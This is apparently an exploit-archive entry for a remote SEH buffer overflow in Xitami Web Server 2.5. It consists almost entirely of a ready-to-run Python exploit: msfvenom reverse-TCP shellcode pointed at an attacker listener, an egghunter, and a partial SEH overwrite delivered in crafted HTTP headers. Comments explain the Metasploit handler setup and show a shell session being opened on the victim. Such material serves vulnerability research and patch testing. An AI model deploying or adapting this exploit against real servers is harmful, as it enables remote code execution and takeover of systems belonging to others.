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Xitami Web Server 2.5 Remote Buffer Overflow

Xitami Web Server 2.5 Remote Buffer Overflow
Posted May 6, 2019
Authored by ElSoufiane

Xitami Web Server version 2.5 remote SEH buffer overflow exploit with egghunter.

tags | exploit, remote, web, overflow
SHA-256 | 9266efca799b47f871561d9abe7318234f5774a03d813b9cbf03d84871e49824

Xitami Web Server 2.5 Remote Buffer Overflow

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# Exploit Title: Xitami Web Server 2.5 Remote Buffer Overflow (SEH + Egghunter)
# Date: May 4, 2019
# Author: ElSoufiane
# Version: 2.5b4
# Tested on: Windows Vista Ultimate (Build 6000) and Windows XP SP3 Professional
# Discovered by: Krystian Kloskowski
#
# Set up a multi handler listener in MSFConsole
# then run exploit
#
# root@f6c9fa91b403:~/XitamiWebServer# python exploit.py 192.168.1.149
# [+] Sending exploit payload...
#
# Check the MSFConsole listener
#
# msf5 exploit(multi/handler) > run
# [*] Started reverse TCP handler on 0.0.0.0:5801
# [*] Encoded stage with x86/shikata_ga_nai
# [*] Sending encoded stage (267 bytes) to 172.17.0.1
# [*] Command shell session 6 opened (172.17.0.2:5801 -> 172.17.0.1:39416) at 2019-05-04 00:17:55 +0000



# C:\Xitami>

import socket
import sys
import struct

if len(sys.argv) != 2 :
print "[+] Usage : python exploit.py [VICTIM_IP]"
exit(0)

TCP_IP = sys.argv[1]
TCP_PORT = 80


egg = "SOUFSOUF"
nops = "\x90"*10

#msfvenom -p windows/shell/reverse_tcp LPORT=5801 LHOST=192.168.1.129 -f python -v shellcode -e x86/alpha_mixed
shellcode = "\x89\xe0\xd9\xe5\xd9\x70\xf4\x5b\x53\x59\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
shellcode += "\x69\x6c\x68\x68\x6c\x42\x63\x30\x37\x70\x63\x30"
shellcode += "\x51\x70\x6b\x39\x6d\x35\x70\x31\x6f\x30\x70\x64"
shellcode += "\x4e\x6b\x76\x30\x70\x30\x4e\x6b\x76\x32\x54\x4c"
shellcode += "\x6e\x6b\x72\x72\x46\x74\x6c\x4b\x53\x42\x55\x78"
shellcode += "\x34\x4f\x4e\x57\x42\x6a\x35\x76\x30\x31\x59\x6f"
shellcode += "\x4e\x4c\x77\x4c\x70\x61\x31\x6c\x75\x52\x34\x6c"
shellcode += "\x35\x70\x6b\x71\x38\x4f\x56\x6d\x47\x71\x4a\x67"
shellcode += "\x4a\x42\x49\x62\x63\x62\x63\x67\x6e\x6b\x63\x62"
shellcode += "\x52\x30\x4c\x4b\x53\x7a\x77\x4c\x6e\x6b\x70\x4c"
shellcode += "\x72\x31\x31\x68\x59\x73\x30\x48\x53\x31\x68\x51"
shellcode += "\x72\x71\x4e\x6b\x30\x59\x57\x50\x55\x51\x6e\x33"
shellcode += "\x4c\x4b\x73\x79\x72\x38\x48\x63\x56\x5a\x62\x69"
shellcode += "\x4c\x4b\x66\x54\x6c\x4b\x73\x31\x49\x46\x64\x71"
shellcode += "\x4b\x4f\x6c\x6c\x5a\x61\x68\x4f\x66\x6d\x77\x71"
shellcode += "\x69\x57\x30\x38\x4b\x50\x74\x35\x58\x76\x55\x53"
shellcode += "\x71\x6d\x6b\x48\x55\x6b\x73\x4d\x44\x64\x32\x55"
shellcode += "\x4a\x44\x43\x68\x4c\x4b\x70\x58\x31\x34\x65\x51"
shellcode += "\x4a\x73\x62\x46\x4e\x6b\x54\x4c\x52\x6b\x6e\x6b"
shellcode += "\x33\x68\x37\x6c\x43\x31\x4b\x63\x6e\x6b\x34\x44"
shellcode += "\x6c\x4b\x43\x31\x4a\x70\x4c\x49\x37\x34\x37\x54"
shellcode += "\x44\x64\x51\x4b\x73\x6b\x53\x51\x52\x79\x52\x7a"
shellcode += "\x42\x71\x6b\x4f\x69\x70\x71\x4f\x43\x6f\x32\x7a"
shellcode += "\x4c\x4b\x37\x62\x7a\x4b\x4e\x6d\x71\x4d\x55\x38"
shellcode += "\x56\x53\x70\x32\x77\x70\x65\x50\x62\x48\x44\x37"
shellcode += "\x42\x53\x74\x72\x63\x6f\x43\x64\x33\x58\x42\x6c"
shellcode += "\x63\x47\x31\x36\x54\x47\x6d\x59\x6b\x58\x69\x6f"
shellcode += "\x4e\x30\x4e\x58\x4c\x50\x67\x71\x47\x70\x67\x70"
shellcode += "\x37\x59\x4a\x64\x31\x44\x56\x30\x70\x68\x55\x79"
shellcode += "\x4f\x70\x30\x6b\x63\x30\x6b\x4f\x68\x55\x61\x7a"
shellcode += "\x35\x5a\x72\x48\x39\x50\x79\x38\x45\x51\x4f\x71"
shellcode += "\x52\x48\x46\x62\x43\x30\x32\x36\x39\x39\x6c\x49"
shellcode += "\x59\x76\x36\x30\x46\x30\x36\x30\x32\x70\x51\x50"
shellcode += "\x36\x30\x67\x30\x76\x30\x32\x48\x6a\x4a\x56\x6f"
shellcode += "\x79\x4f\x39\x70\x59\x6f\x79\x45\x5a\x37\x70\x6a"
shellcode += "\x46\x70\x71\x46\x63\x67\x30\x68\x6e\x79\x69\x35"
shellcode += "\x44\x34\x30\x61\x59\x6f\x59\x45\x6d\x55\x49\x50"
shellcode += "\x53\x44\x55\x5a\x79\x6f\x30\x4e\x66\x68\x53\x45"
shellcode += "\x6a\x4c\x6a\x48\x52\x47\x73\x30\x33\x30\x73\x30"
shellcode += "\x61\x7a\x55\x50\x33\x5a\x67\x74\x71\x46\x66\x37"
shellcode += "\x62\x48\x45\x52\x68\x59\x4f\x38\x51\x4f\x59\x6f"
shellcode += "\x6b\x65\x4f\x73\x7a\x58\x53\x30\x63\x4e\x57\x46"
shellcode += "\x4c\x4b\x35\x66\x32\x4a\x63\x70\x72\x48\x63\x30"
shellcode += "\x76\x70\x65\x50\x77\x70\x73\x66\x62\x4a\x37\x70"
shellcode += "\x32\x48\x46\x38\x4e\x44\x76\x33\x79\x75\x79\x6f"
shellcode += "\x5a\x75\x6e\x73\x76\x33\x52\x4a\x73\x30\x76\x36"
shellcode += "\x42\x73\x32\x77\x33\x58\x45\x52\x78\x59\x78\x48"
shellcode += "\x61\x4f\x39\x6f\x59\x45\x4d\x53\x49\x68\x45\x50"
shellcode += "\x73\x4d\x61\x38\x71\x48\x62\x48\x55\x50\x53\x70"
shellcode += "\x35\x50\x53\x30\x33\x5a\x45\x50\x76\x30\x33\x58"
shellcode += "\x56\x6b\x34\x6f\x46\x6f\x34\x70\x4b\x4f\x78\x55"
shellcode += "\x71\x47\x75\x38\x31\x65\x70\x6e\x52\x6d\x50\x61"
shellcode += "\x4b\x4f\x79\x45\x33\x6e\x31\x4e\x4b\x4f\x44\x4c"
shellcode += "\x76\x44\x56\x6f\x4e\x65\x72\x50\x79\x6f\x69\x6f"
shellcode += "\x6b\x4f\x68\x69\x4d\x4b\x79\x6f\x79\x6f\x49\x6f"
shellcode += "\x56\x61\x5a\x63\x71\x39\x69\x56\x51\x65\x69\x51"
shellcode += "\x4f\x33\x6d\x6b\x5a\x50\x68\x35\x4e\x42\x50\x56"
shellcode += "\x52\x4a\x57\x70\x36\x33\x69\x6f\x5a\x75\x41\x41"

egghunter ="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"+"SOUF"+"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

nseh_jmp = "\xeb\xaa" #jmp back 84 bytes
seh = "\x87\x1d\x40" # (xiwin32.exe) 0x00401d87 -> pop/pop/ret. ( Parial Overwrite )

payload = "A"*120
payload += egghunter
payload += "A"*(190-len(payload))
payload += nseh_jmp
payload += seh

http_req = "GET / HTTP/1.1\r\n"
http_req += "Host: "+ TCP_IP +"\r\n"
http_req += "User-Agent: "+egg+nops+shellcode+"\r\n"
http_req += "If-Modified-Since: Wed, " + payload + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
print "[+] Sending exploit payload..."
s.send(http_req)
s.close()
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